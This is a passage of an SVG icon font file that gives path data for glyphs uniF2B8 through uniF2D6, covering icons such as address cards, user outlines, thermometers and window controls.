h-1h-1q-24 0 -59 -17.5t-56 -32.5t-61 -48t-43 -35q-215 -166 -315.5 -245.5t-129.5 -104t-82 -74.5q-14 -12 -21 -19v-928q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 832v-928q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v928q0 56 41 94
q123 114 350 290.5t233 181.5q36 30 59 47.5t61.5 42t76 36.5t74.5 12h1h1q37 0 74.5 -12t76 -36.5t61.5 -42t59 -47.5q43 -36 156 -122t226 -177t201 -173q41 -38 41 -94z" />
    <glyph glyph-name="uniF2B8" unicode="&#xf2b8;" 
d="M330 1l202 -214l-34 236l-216 213zM556 -225l274 218l-11 245l-300 -215zM245 413l227 -213l-48 327l-245 204zM495 189l317 214l-14 324l-352 -200zM843 178l95 -80l-2 239l-103 79q0 -1 1 -8.5t0 -12t-5 -7.5l-78 -52l85 -70q7 -6 7 -88zM138 930l256 -200l-68 465
l-279 173zM1173 267l15 234l-230 -164l2 -240zM417 722l373 194l-19 441l-423 -163zM1270 357l20 233l-226 142l-2 -105l144 -95q6 -4 4 -9l-7 -119zM1461 496l30 222l-179 -128l-20 -228zM1273 329l-71 49l-8 -117q0 -5 -4 -8l-234 -187q-7 -5 -14 0l-98 83l7 -161
q0 -5 -4 -8l-293 -234q-4 -2 -6 -2q-8 2 -8 3l-228 242q-4 4 -59 277q-2 7 5 11l61 37q-94 86 -95 92l-72 351q-2 7 6 12l94 45q-133 100 -135 108l-96 466q-2 10 7 13l433 135q5 0 8 -1l317 -153q6 -4 6 -9l20 -463q0 -7 -6 -10l-118 -61l126 -85q5 -2 5 -8l5 -123l121 74
q5 4 11 0l84 -56l3 110q0 6 5 9l206 126q6 3 11 0l245 -135q4 -4 5 -7t-6.5 -60t-17.5 -124.5t-10 -70.5q0 -5 -4 -7l-191 -153q-6 -5 -13 0z" />
    <glyph glyph-name="uniF2B9" unicode="&#xf2b9;" horiz-adv-x="1664" 
d="M1201 298q0 57 -5.5 107t-21 100.5t-39.5 86t-64 58t-91 22.5q-6 -4 -33.5 -20.5t-42.5 -24.5t-40.5 -20t-49 -17t-46.5 -5t-46.5 5t-49 17t-40.5 20t-42.5 24.5t-33.5 20.5q-51 0 -91 -22.5t-64 -58t-39.5 -86t-21 -100.5t-5.5 -107q0 -73 42 -121.5t103 -48.5h576
q61 0 103 48.5t42 121.5zM1028 892q0 108 -76.5 184t-183.5 76t-183.5 -76t-76.5 -184q0 -107 76.5 -183t183.5 -76t183.5 76t76.5 183zM1664 352v-192q0 -14 -9 -23t-23 -9h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216
q66 0 113 -47t47 -113v-224h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23z" />
    <glyph glyph-name="uniF2BA" unicode="&#xf2ba;" horiz-adv-x="1664" 
d="M1028 892q0 -107 -76.5 -183t-183.5 -76t-183.5 76t-76.5 183q0 108 76.5 184t183.5 76t183.5 -76t76.5 -184zM980 672q46 0 82.5 -17t60 -47.5t39.5 -67t24 -81t11.5 -82.5t3.5 -79q0 -67 -39.5 -118.5t-105.5 -51.5h-576q-66 0 -105.5 51.5t-39.5 118.5q0 48 4.5 93.5
t18.5 98.5t36.5 91.5t63 64.5t93.5 26h5q7 -4 32 -19.5t35.5 -21t33 -17t37 -16t35 -9t39.5 -4.5t39.5 4.5t35 9t37 16t33 17t35.5 21t32 19.5zM1664 928q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96
q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216q66 0 113 -47t47 -113v-224h96q13 0 22.5 -9.5t9.5 -22.5v-192zM1408 -96v1472q0 13 -9.5 22.5t-22.5 9.5h-1216
q-13 0 -22.5 -9.5t-9.5 -22.5v-1472q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5z" />
    <glyph glyph-name="uniF2BB" unicode="&#xf2bb;" horiz-adv-x="2048" 
d="M1024 405q0 64 -9 117.5t-29.5 103t-60.5 78t-97 28.5q-6 -4 -30 -18t-37.5 -21.5t-35.5 -17.5t-43 -14.5t-42 -4.5t-42 4.5t-43 14.5t-35.5 17.5t-37.5 21.5t-30 18q-57 0 -97 -28.5t-60.5 -78t-29.5 -103t-9 -117.5t37 -106.5t91 -42.5h512q54 0 91 42.5t37 106.5z
M867 925q0 94 -66.5 160.5t-160.5 66.5t-160.5 -66.5t-66.5 -160.5t66.5 -160.5t160.5 -66.5t160.5 66.5t66.5 160.5zM1792 416v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1792 676v56q0 15 -10.5 25.5t-25.5 10.5h-568
q-15 0 -25.5 -10.5t-10.5 -25.5v-56q0 -15 10.5 -25.5t25.5 -10.5h568q15 0 25.5 10.5t10.5 25.5zM1792 928v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-352v96q0 14 -9 23t-23 9
h-64q-14 0 -23 -9t-9 -23v-96h-768v96q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-96h-352q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2BC" unicode="&#xf2bc;" horiz-adv-x="2048" 
d="M1024 405q0 -64 -37 -106.5t-91 -42.5h-512q-54 0 -91 42.5t-37 106.5t9 117.5t29.5 103t60.5 78t97 28.5q6 -4 30 -18t37.5 -21.5t35.5 -17.5t43 -14.5t42 -4.5t42 4.5t43 14.5t35.5 17.5t37.5 21.5t30 18q57 0 97 -28.5t60.5 -78t29.5 -103t9 -117.5zM867 925
q0 -94 -66.5 -160.5t-160.5 -66.5t-160.5 66.5t-66.5 160.5t66.5 160.5t160.5 66.5t160.5 -66.5t66.5 -160.5zM1792 480v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1792 732v-56q0 -15 -10.5 -25.5t-25.5 -10.5h-568
q-15 0 -25.5 10.5t-10.5 25.5v56q0 15 10.5 25.5t25.5 10.5h568q15 0 25.5 -10.5t10.5 -25.5zM1792 992v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1920 32v1216q0 13 -9.5 22.5t-22.5 9.5h-1728q-13 0 -22.5 -9.5
t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h352v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h768v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h352q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113
t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2BD" unicode="&#xf2bd;" horiz-adv-x="1792" 
d="M1523 197q-22 155 -87.5 257.5t-184.5 118.5q-67 -74 -159.5 -115.5t-195.5 -41.5t-195.5 41.5t-159.5 115.5q-119 -16 -184.5 -118.5t-87.5 -257.5q106 -150 271 -237.5t356 -87.5t356 87.5t271 237.5zM1280 896q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5
t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1792 640q0 -182 -71 -347.5t-190.5 -286t-285.5 -191.5t-349 -71q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2BE" unicode="&#xf2be;" horiz-adv-x="1792" 
d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348q0 -181 -70.5 -347t-190.5 -286t-286 -191.5t-349 -71.5t-349 71t-285.5 191.5t-190.5 286t-71 347.5t71 348t191 286t286 191t348 71zM1515 185q149 205 149 455q0 156 -61 298t-164 245t-245 164t-298 61t-298 -61
t-245 -164t-164 -245t-61 -298q0 -250 149 -455q66 327 306 327q131 -128 313 -128t313 128q240 0 306 -327zM1280 832q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5z" />
    <glyph glyph-name="uniF2C0" unicode="&#xf2c0;" 
d="M1201 752q47 -14 89.5 -38t89 -73t79.5 -115.5t55 -172t22 -236.5q0 -154 -100 -263.5t-241 -109.5h-854q-141 0 -241 109.5t-100 263.5q0 131 22 236.5t55 172t79.5 115.5t89 73t89.5 38q-79 125 -79 272q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5
t198.5 -40.5t163.5 -109.5t109.5 -163.5t40.5 -198.5q0 -147 -79 -272zM768 1408q-159 0 -271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5zM1195 -128q88 0 150.5 71.5t62.5 173.5q0 239 -78.5 377t-225.5 145
q-145 -127 -336 -127t-336 127q-147 -7 -225.5 -145t-78.5 -377q0 -102 62.5 -173.5t150.5 -71.5h854z" />
    <glyph glyph-name="uniF2C1" unicode="&#xf2c1;" horiz-adv-x="1280" 
d="M1024 278q0 -64 -37 -107t-91 -43h-512q-54 0 -91 43t-37 107t9 118t29.5 104t61 78.5t96.5 28.5q80 -75 188 -75t188 75q56 0 96.5 -28.5t61 -78.5t29.5 -104t9 -118zM870 797q0 -94 -67.5 -160.5t-162.5 -66.5t-162.5 66.5t-67.5 160.5t67.5 160.5t162.5 66.5
t162.5 -66.5t67.5 -160.5zM1152 -96v1376h-1024v-1376q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1280 1376v-1472q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h352v-96q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v96h352
q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C2" unicode="&#xf2c2;" horiz-adv-x="2048" 
d="M896 324q0 54 -7.5 100.5t-24.5 90t-51 68.5t-81 25q-64 -64 -156 -64t-156 64q-47 0 -81 -25t-51 -68.5t-24.5 -90t-7.5 -100.5q0 -55 31.5 -93.5t75.5 -38.5h426q44 0 75.5 38.5t31.5 93.5zM768 768q0 80 -56 136t-136 56t-136 -56t-56 -136t56 -136t136 -56t136 56
t56 136zM1792 288v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1408 544v64q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1792 544v64q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23
v-64q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1792 800v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM128 1152h1792v96q0 14 -9 23t-23 9h-1728q-14 0 -23 -9t-9 -23v-96zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728
q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C3" unicode="&#xf2c3;" horiz-adv-x="2048" 
d="M896 324q0 -55 -31.5 -93.5t-75.5 -38.5h-426q-44 0 -75.5 38.5t-31.5 93.5q0 54 7.5 100.5t24.5 90t51 68.5t81 25q64 -64 156 -64t156 64q47 0 81 -25t51 -68.5t24.5 -90t7.5 -100.5zM768 768q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z
M1792 352v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1408 608v-64q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h320q14 0 23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v64
q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 864v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1920 32v1120h-1792v-1120q0 -13 9.5 -22.5t22.5 -9.5h1728q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47
h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C4" unicode="&#xf2c4;" horiz-adv-x="1792" 
d="M1255 749q0 318 -105 474.5t-330 156.5q-222 0 -326 -157t-104 -474q0 -316 104 -471.5t326 -155.5q74 0 131 17q-22 43 -39 73t-44 65t-53.5 56.5t-63 36t-77.5 14.5q-46 0 -79 -16l-49 97q105 91 276 91q132 0 215.5 -54t150.5 -155q67 149 67 402zM1645 117h117
q3 -27 -2 -67t-26.5 -95t-58 -100.5t-107 -78t-162.5 -32.5q-71 0 -130.5 19t-105.5 56t-79 78t-66 96q-97 -27 -205 -27q-150 0 -292.5 58t-253 158.5t-178 249t-67.5 317.5q0 170 67.5 319.5t178.5 250.5t253.5 159t291.5 58q121 0 238.5 -36t217 -106t176 -164.5
t119.5 -219t43 -261.5q0 -190 -80.5 -347.5t-218.5 -264.5q47 -70 93.5 -106.5t104.5 -36.5q61 0 94 37.5t38 85.5z" />
    <glyph glyph-name="uniF2C5" unicode="&#xf2c5;" horiz-adv-x="2304" 
d="M453 -101q0 -21 -16 -37.5t-37 -16.5q-1 0 -13 3q-63 15 -162 140q-225 284 -225 676q0 341 213 614q39 51 95 103.5t94 52.5q19 0 35 -13.5t16 -32.5q0 -27 -63 -90q-98 -102 -147 -184q-119 -199 -119 -449q0 -281 123 -491q50 -85 136 -173q2 -3 14.5 -16t19.5 -21
t17 -20.5t14.5 -23.5t4.5 -21zM1796 33q0 -29 -17.5 -48.5t-46.5 -19.5h-1081q-26 0 -45 19t-19 45q0 29 17.5 48.5t46.5 19.5h1081q26 0 45 -19t19 -45zM1581 644q0 -134 -67 -233q-25 -38 -69.5 -78.5t-83.5 -60.5q-16 -10 -27 -10q-7 0 -15 6t-8 12q0 9 19 30t42 46
t42 67.5t19 88.5q0 76 -35 130q-29 42 -46 42q-3 0 -3 -5q0 -12 7.5 -35.5t7.5 -36.5q0 -22 -21.5 -35t-44.5 -13q-66 0 -66 76q0 15 1.5 44t1.5 44q0 25 -10 46q-13 25 -42 53.5t-51 28.5q-5 0 -7 -0.5t-3.5 -2.5t-1.5 -6q0 -2 16 -26t16 -54q0 -37 -19 -68t-46 -54
t-53.5 -46t-45.5 -54t-19 -68q0 -98 42 -160q29 -43 79 -63q16 -5 17 -10q1 -2 1 -5q0 -16 -18 -16q-6 0 -33 11q-119 43 -195 139.5t-76 218.5q0 55 24.5 115.5t60 115t70.5 108.5t59.5 113.5t24.5 111.5q0 53 -25 94q-29 48 -56 64q-19 9 -19 21q0 20 41 20q50 0 110 -29
q41 -19 71 -44.5t49.5 -51t33.5 -62.5t22 -69t16 -80q0 -1 3 -17.5t4.5 -25t5.5 -25t9 -27t11 -21.5t14.5 -16.5t18.5 -5.5q23 0 37 14t14 37q0 25 -20 67t-20 52t10 10q27 0 93 -70q72 -76 102.5 -156t30.5 -186zM2304 615q0 -274 -138 -503q-19 -32 -48 -72t-68 -86.5
t-81 -77t-74 -30.5q-16 0 -31 15.5t-15 31.5q0 15 29 50.5t68.5 77t48.5 52.5q183 230 183 531q0 131 -20.5 235t-72.5 211q-58 119 -163 228q-2 3 -13 13.5t-16.5 16.5t-15 17.5t-15 20t-9.5 18.5t-4 19q0 19 16 35.5t35 16.5q70 0 196 -169q98 -131 146 -273t60 -314
q2 -42 2 -64z" />
    <glyph glyph-name="uniF2C6" unicode="&#xf2c6;" horiz-adv-x="1792" 
d="M1189 229l147 693q9 44 -10.5 63t-51.5 7l-864 -333q-29 -11 -39.5 -25t-2.5 -26.5t32 -19.5l221 -69l513 323q21 14 32 6q7 -5 -4 -15l-415 -375v0v0l-16 -228q23 0 45 22l108 104l224 -165q64 -36 81 38zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2C7" unicode="&#xf2c7;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v907h128v-907q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2C8" unicode="&#xf2c8;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v651h128v-651q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2C9" unicode="&#xf2c9;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v395h128v-395q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2CA" unicode="&#xf2ca;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v139h128v-139q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2CB" unicode="&#xf2cb;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 79 56 135.5t136 56.5t136 -56.5t56 -135.5zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5t93.5 226.5z
M896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192v128h192z" />
    <glyph glyph-name="uniF2CC" unicode="&#xf2cc;" horiz-adv-x="1920" 
d="M1433 1287q10 -10 10 -23t-10 -23l-626 -626q-10 -10 -23 -10t-23 10l-82 82q-10 10 -10 23t10 23l44 44q-72 91 -81.5 207t46.5 215q-74 71 -176 71q-106 0 -181 -75t-75 -181v-1280h-256v1280q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5q106 0 201 -41
t166 -115q94 39 197 24.5t185 -79.5l44 44q10 10 23 10t23 -10zM1344 1024q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1600 896q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1856 1024q26 0 45 -19t19 -45t-19 -45t-45 -19
t-45 19t-19 45t19 45t45 19zM1216 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1408 832q0 26 19 45t45 19t45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45zM1728 896q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 768
q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 640q-26 0 -45 19t-19 45t19 45t45 19t45 -19t19 -45t-19 -45t-45 -19zM1600 768q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 512q-26 0 -45 19t-19 45t19 45t45 19t45 -19
t19 -45t-19 -45t-45 -19zM1472 640q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1344 512q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1216 384
q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19zM1088 256q26 0 45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45t19 45t45 19z" />
    <glyph glyph-name="uniF2CD" unicode="&#xf2cd;" horiz-adv-x="1792" 
d="M1664 448v-192q0 -169 -128 -286v-194q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v118q-63 -22 -128 -22h-768q-65 0 -128 22v-110q0 -17 -9.5 -28.5t-22.5 -11.5h-64q-13 0 -22.5 11.5t-9.5 28.5v186q-128 117 -128 286v192h1536zM704 864q0 -14 -9 -23t-23 -9t-23 9
t-9 23t9 23t23 9t23 -9t9 -23zM768 928q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM704 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 992q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1056q0 -14 -9 -23t-23 -9t-23 9
t-9 23t9 23t23 9t23 -9t9 -23zM704 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-1728q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v640q0 106 75 181t181 75q108 0 184 -78q46 19 98 12t93 -39l22 22q11 11 22 0l42 -42
q11 -11 0 -22l-314 -314q-11 -11 -22 0l-42 42q-11 11 0 22l22 22q-36 46 -40.5 104t23.5 108q-37 35 -88 35q-53 0 -90.5 -37.5t-37.5 -90.5v-640h1504q14 0 23 -9t9 -23zM896 1056q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1120q0 -14 -9 -23t-23 -9
t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM768 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1120q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM896 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM832 1248q0 -14 -9 -23
t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1024 1184q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM960 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23zM1088 1248q0 -14 -9 -23t-23 -9t-23 9t-9 23t9 23t23 9t23 -9t9 -23z" />
    <glyph glyph-name="uniF2CE" unicode="&#xf2ce;" 
d="M994 344q0 -86 -17 -197q-31 -215 -55 -313q-22 -90 -152 -90t-152 90q-24 98 -55 313q-17 110 -17 197q0 168 224 168t224 -168zM1536 768q0 -240 -134 -434t-350 -280q-8 -3 -15 3t-6 15q7 48 10 66q4 32 6 47q1 9 9 12q159 81 255.5 234t96.5 337q0 180 -91 330.5
t-247 234.5t-337 74q-124 -7 -237 -61t-193.5 -140.5t-128 -202t-46.5 -240.5q1 -184 99 -336.5t257 -231.5q7 -3 9 -12q3 -21 6 -45q1 -9 5 -32.5t6 -35.5q1 -9 -6.5 -15t-15.5 -2q-148 58 -261 169.5t-173.5 264t-52.5 319.5q7 143 66 273.5t154.5 227t225 157.5t272.5 70
q164 10 315.5 -46.5t261 -160.5t175 -250.5t65.5 -308.5zM994 800q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5zM1282 768q0 -122 -53.5 -228.5t-146.5 -177.5q-8 -6 -16 -2t-10 14q-6 52 -29 92q-7 10 3 20
q58 54 91 127t33 155q0 111 -58.5 204t-157.5 141.5t-212 36.5q-133 -15 -229 -113t-109 -231q-10 -92 23.5 -176t98.5 -144q10 -10 3 -20q-24 -41 -29 -93q-2 -9 -10 -13t-16 2q-95 74 -148.5 183t-51.5 234q3 131 69 244t177 181.5t241 74.5q144 7 268 -60t196.5 -187.5
t72.5 -263.5z" />
    <glyph glyph-name="uniF2D0" unicode="&#xf2d0;" horiz-adv-x="1792" 
d="M256 128h1280v768h-1280v-768zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D1" unicode="&#xf2d1;" horiz-adv-x="1792" 
d="M1792 224v-192q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D2" unicode="&#xf2d2;" horiz-adv-x="2048" 
d="M256 0h768v512h-768v-512zM1280 512h512v768h-768v-256h96q66 0 113 -47t47 -113v-352zM2048 1376v-960q0 -66 -47 -113t-113 -47h-608v-352q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h608v352q0 66 47 113t113 47h960q66 0 113 -47
t47 -113z" />
    <glyph glyph-name="uniF2D3" unicode="&#xf2d3;" horiz-adv-x="1792" 
d="M1175 215l146 146q10 10 10 23t-10 23l-233 233l233 233q10 10 10 23t-10 23l-146 146q-10 10 -23 10t-23 -10l-233 -233l-233 233q-10 10 -23 10t-23 -10l-146 -146q-10 -10 -10 -23t10 -23l233 -233l-233 -233q-10 -10 -10 -23t10 -23l146 -146q10 -10 23 -10t23 10
l233 233l233 -233q10 -10 23 -10t23 10zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D4" unicode="&#xf2d4;" horiz-adv-x="1792" 
d="M1257 425l-146 -146q-10 -10 -23 -10t-23 10l-169 169l-169 -169q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l169 169l-169 169q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l169 -169l169 169q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
l-169 -169l169 -169q10 -10 10 -23t-10 -23zM256 128h1280v1024h-1280v-1024zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D5" unicode="&#xf2d5;" horiz-adv-x="1792" 
d="M1070 358l306 564h-654l-306 -564h654zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2D6" unicode="&#xf2d6;" horiz-adv-x="1794" 
